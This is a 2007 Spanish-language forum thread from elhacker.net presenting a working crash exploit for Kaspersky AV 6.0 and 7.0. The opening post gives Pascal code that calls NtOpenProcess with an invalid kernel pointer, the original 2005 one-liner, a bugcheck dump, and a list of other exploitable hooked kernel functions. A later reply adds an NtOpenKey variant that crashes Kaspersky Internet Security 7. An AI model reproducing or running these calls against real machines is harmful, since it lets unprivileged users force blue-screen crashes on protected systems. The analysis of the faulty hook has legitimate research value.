elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
21 Marzo 2010, 07:34  


Temas destacados: Suscripción al boletín mensual de elhacker.net


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: Anon, berz3k)
| | |-+  [UP] Exploit Kaspersky AV 6.0 y 7.0
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: [UP] Exploit Kaspersky AV 6.0 y 7.0  (Leído 3576 veces)
ANELKAOS
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.968



Ver Perfil WWW
[UP] Exploit Kaspersky AV 6.0 y 7.0
« en: 15 Junio 2007, 03:39 »

El antivirus Kaspersky, desde hace muchísimo tiempo sufre una vulnerabilidad bastante peligrosa, que permite hacer un crash del sistema protegido por este antivirus, incluso desde la cuenta de invitado. Todos los intentos de avisar a Kaspersky Lab sobre esta vulnerabilidad han sido ignorados. Este material fue hecho público varios años atras (desde el 2005 me consta), y en el ultimo verano publicaron un nuevo exploit para Kaspersky AV 6.0 el cual se basa en los descubrimientos previos de Ms-Rem. Y después de todo este tiempo, nada ha cambiado. Aún ahora con la nueva versión de Kaspersky AV 7.0 este exploit sigue funcionando muy bien.

El objetivo principal de este exploit es hacer una llamada a NtOpenProcess con parámetros inválidos. Esta función esta hookeada por el driver de Kaspersky llamado klif.sys y la razón para el hook es obia (Esta es la manera en que Kaspersky AV se protege de accesos no autorizados que pudieran cerrar el proceso, esta es una practica muy usada por diferentes tipos de rootkits y malware)

Este es el prototipo de la función:
Código:
NTSYSAPI
NTSTATUS
NTAPI
NtOpenProcess( OUT PHANDLE ProcessHandle,
               IN ACCESS_MASK DesiredAccess,
               IN POBJECT_ATTRIBUTES ObjectAttributes,
               IN PCLIENT_ID ClientId OPTIONAL );

Y este es un pequeño exploit escrito en Pascal:
Código:
var
  ob1: OBJECT_ATTRIBUTES;
  p1: DWORD;
begin
  ob1.Length := sizeof(ob1);
  NtOpenProcess(@p1, PROCESS_QUERY_INFORMATION, @ob1, pointer($82000000));
end;
Verificado en el driver klif.sys de la versión 6.12.10.280 y debe funcionar también en las anteriores.

Como se observa en el código,  el ultimo parámetro es la dirección de la estructura CLIENT_ID, la cual apunta hacia una región aleatoria dentro de la memoria del kernel.

Si lanzamos el exploit en una instalación limpia de Windows XP, sin Kaspersky AV, no hay BSOD(Blue Screen Of Death o Pantallazo Azul de Windows).

Si lanzamos el exploit en un Windows XP protegido por Kapersky AV 7.0 inmediatamente obtenemos un pantallazo azul con el mensaje  PAGE_FAULT_IN_NONPAGED_AREA.

Te preguntarás ¿porque ocurre esto? la respuesta es muy sencilla. Supongo que el código fuente de el hook en NtOpenProcess es algo similar a esto:
Código:
NTSTATUS NewNtOpenProcess (
    OUT PHANDLE ProcessHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN PCLIENT_ID ClientId OPTIONAL)
{
    __try
   {

     if (ClientId->UniqueProcess == KasperskyProcesss) return STATUS_ACCESS_DENIED;

    else return RealNtOpenProcess(ProcessHandle, DesiredAccess,
                                  ObjectAttributes, ClientId);
   __except (EXCEPTION_EXECUTE_HANDLER)
   {
      ... stuff here ...
   }
}

El gran error aquí es ClientId->UniqueProcess, ya que ClientId es un PUNTERO a una estructura. El hecho de acceder a una región invalida de memoria produce inmediatamente un pantallazo azul con el mensaje PAGE_FAULT_IN_NONPAGED_AREA.

El exploit original creado por Ms-Rem en el 2005 consiste en lo siguiente:
Código:
NtOpenProcess(NULL, (HANDLE)0, NULL, NULL);

Ahora como podrás observar, los desarrolladores de Kaspersky AV han usado un bloque try/except, y parece que desconocen otras funciones de handling. Esperemos que descubran el fabuloso programa llamado NtCall y corrijan su bug:
Código:
******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 83000000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: f941840c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------

ANALYSIS: Kernel with unknown size. Will force reload symbols with known size.
ANALYSIS: Force reload command: .reload /f ntoskrnl.exe=FFFFFFFF804D7000,214600,41108004
***** Kernel symbols are WRONG. Please fix symbols to do analysis.

***** Kernel symbols are WRONG. Please fix symbols to do analysis.


MODULE_NAME: klif

FAULTING_MODULE: 804d7000 nt

DEBUG_FLR_IMAGE_TIMESTAMP: 46260f1c

READ_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
83000000

FAULTING_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]

MM_INTERNAL_CODE: 0

CUSTOMER_CRASH_COUNT: 1

DEFAULT_BUCKET_ID: WRONG_SYMBOLS

BUGCHECK_STR: 0x50

LAST_CONTROL_TRANSFER: from f941b39a to f941840c

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f64c8d24 f941b39a 83000000 00000008 00000000 klif+0x1940c
f64c8d64 7c90eb94 badb0d00 0012f3e4 00000000 klif+0x1c39a
f64c8d68 badb0d00 0012f3e4 00000000 00000000 0x7c90eb94
f64c8d6c 0012f3e4 00000000 00000000 00000000 0xbadb0d00
f64c8d70 00000000 00000000 00000000 00000000 0x12f3e4


STACK_COMMAND: kb

FOLLOWUP_IP:
klif+1940c
f941840c 0fbe08 movsx ecx,byte ptr [eax]

SYMBOL_STACK_INDEX: 0

FOLLOWUP_NAME: MachineOwner

IMAGE_NAME: klif.sys

SYMBOL_NAME: klif+1940c

BUCKET_ID: WRONG_SYMBOLS

Followup: MachineOwner

Algunos descubrimientos hechos por UG North muestran que hay otras funciones que también están hookeadas por klif.sys las cuales pueden ser explotadas con ataques similares.

Lista de entradas en la SSDT (System Service Descriptor Table) explotables (Windows XP con Kapersky AV 7.0.0.55):
Citar

==================================
|[Idx] [nombre de la función] |
==================================
|[41 ] NtCreateKey
|[47 ] NtCreateProcess
|[48 ] NtCreateProcessEx
|[50 ] NtCreateSection
|[52 ] NtCreateSymbolicLinkObject
|[53 ] NtCreateThread
|[65 ] NtDeleteValueKey
|[99 ] NtLoadKey2
|[119] NtOpenKey
|[122] NtOpenProcess
|[125] NtOpenSection
|[177] NtQueryValueKey
==================================

Cualquier llamada a esas funciones con parámetros invalidos, llevara a un BSOD.

Este tipo de exploit fue descubierto por Ms-Rem en el 2005 y funciona para KAV 5.0

Como  demuestra este exploit, funciona para todas la versiones de Kaspersky Antivirus incluyendo la nueva versión Kaspersky AV 7.0.

¿Realmente aún crees que estas protegido?   :xD

Mensaje originalmente en inglés de  EP_X0FF y UG North:
http://forum.sysinternals.com/forum_posts.asp?TID=10991&PID=49017#49017
« Última modificación: 15 Junio 2007, 07:13 por ANELKAOS » En línea

Hendrix
In The Kernel Land
Colaborador

Desconectado Desconectado

Mensajes: 2.153



Ver Perfil WWW
Re: [UP] Exploit Kaspersky AV 6.0 y 7.0
« Respuesta #1 en: 15 Junio 2007, 13:40 »

Muy interesante....gracias Anel... ;) ;)
En línea

"Todos los días perdemos una docena de genios en el anonimato. Y se van. Y nadie sabe de ellos, de su historia, de su peripecia, de lo que han hecho, de sus angustias, de sus alegrías. Pero al menos una docena de genios se van todos los días sin que sepamos de ellos". - Juan Antonio Cebrián
Rozor

Desconectado Desconectado

Mensajes: 268


As I Walk Through The Valley Of The Shadow Of Dead


Ver Perfil WWW
Re: [UP] Exploit Kaspersky AV 6.0 y 7.0
« Respuesta #2 en: 15 Junio 2007, 13:54 »

Aver pero los datos en que argumento y dentro de que reglas?

Interesante, yo quiero ponerselo a mi juguete xDDDDD

ya va

WinFuck
MircFuck

y ahora

KasvFuck

:D :D :D :D


PD: Anelkaos no se me olvidan los codes que te debo ;)
En línea

out in the streets they call it murder....
ANELKAOS
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.968



Ver Perfil WWW
Re: [UP] Exploit Kaspersky AV 6.0 y 7.0
« Respuesta #3 en: 18 Junio 2007, 22:06 »

Hola Rozor

Menos mal que no se te olvidan a ti porque yo no los recuerdo :-\ Creo recordar que eran unos que no te daban errores pero no funcionaban bien, hablamos por mail de eso.

Respecto a los datos, por ejemplo, enviando  en NtUserSendUserInput:
Código:
NtOpenKey(p, 0, pointer($82364342));

Provocas el pantallazo azul con  Kaspersky Internet Security ver. 7.0.0.119 y XP+SP2 con todos los parches.
En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

Yashira.org    Videojuegos    indetectables.net    Seguridad Informatica Colombia    Indejuegos    Internet móvil

Noticias Informatica    Seguridad Informática    ADSL    eNYe Sec    Seguridad Wireless    Underground México    Biblioteca de Seguridad

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.11 | SMF © 2006-2008, Simple Machines LLC